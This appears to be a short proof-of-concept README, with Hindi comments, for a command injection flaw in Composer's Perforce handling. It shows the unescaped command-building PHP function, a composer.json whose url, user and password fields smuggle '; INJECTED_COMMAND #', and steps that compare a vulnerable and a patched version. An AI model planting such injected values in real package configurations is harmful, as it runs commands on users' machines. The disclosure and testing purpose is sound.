public function generateP4Command($command, $useClient = true)
    {
        $p4Command = 'p4 ';
        $p4Command .= '-u ' . $this->getUser() . ' ';
        if ($useClient) 
            $p4Command .= '-c ' . $this->getClient() . ' ';
        }
        $p4Command .= '-p ' . $this->getPort() . ' ' . $command;

        return $p4Command;
    }

{
  "repositories": [
    {
      "type": "perforce",
      "url": "PERFORCE_URL; INJECTED_COMMAND #",
      "depot": "depot",
      "p4user": "user; INJECRTED_COMMAND #",
      "p4password": "password; INJECTED_COMMAND #",
    }
  ]
}

CVE-2026-40176/
├── composer.json              # दुर्भावनापूर्ण Perforce रिपॉजिटरी कॉन्फ़िग
├── vuln-composer.phar         # Composer 2.2.26 (भेद्य)
├── patched-composer.phar      # Composer 2.2.27 (पैच किया गया)
└── README.md                  # यह फ़ाइल

git clone <repository-url>
cd CVE-2026-40176

php vuln-composer.phar --version
# आउटपुट: Composer version 2.2.26

php patched-composer.phar --version
# आउटपुट: Composer version 2.2.27

php vuln-composer.phar install
# या
php vuln-composer.phar update

ls -la /tmp/pwned

rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# फ़ाइल मौजूद नहीं होनी चाहिए (भेद्यता पैच की गई है)

# अपना Composer संस्करण जांचें
composer --version

# अपने प्रोजेक्ट्स में Perforce रिपॉजिटरी खोजें
grep -r "perforce" */composer.json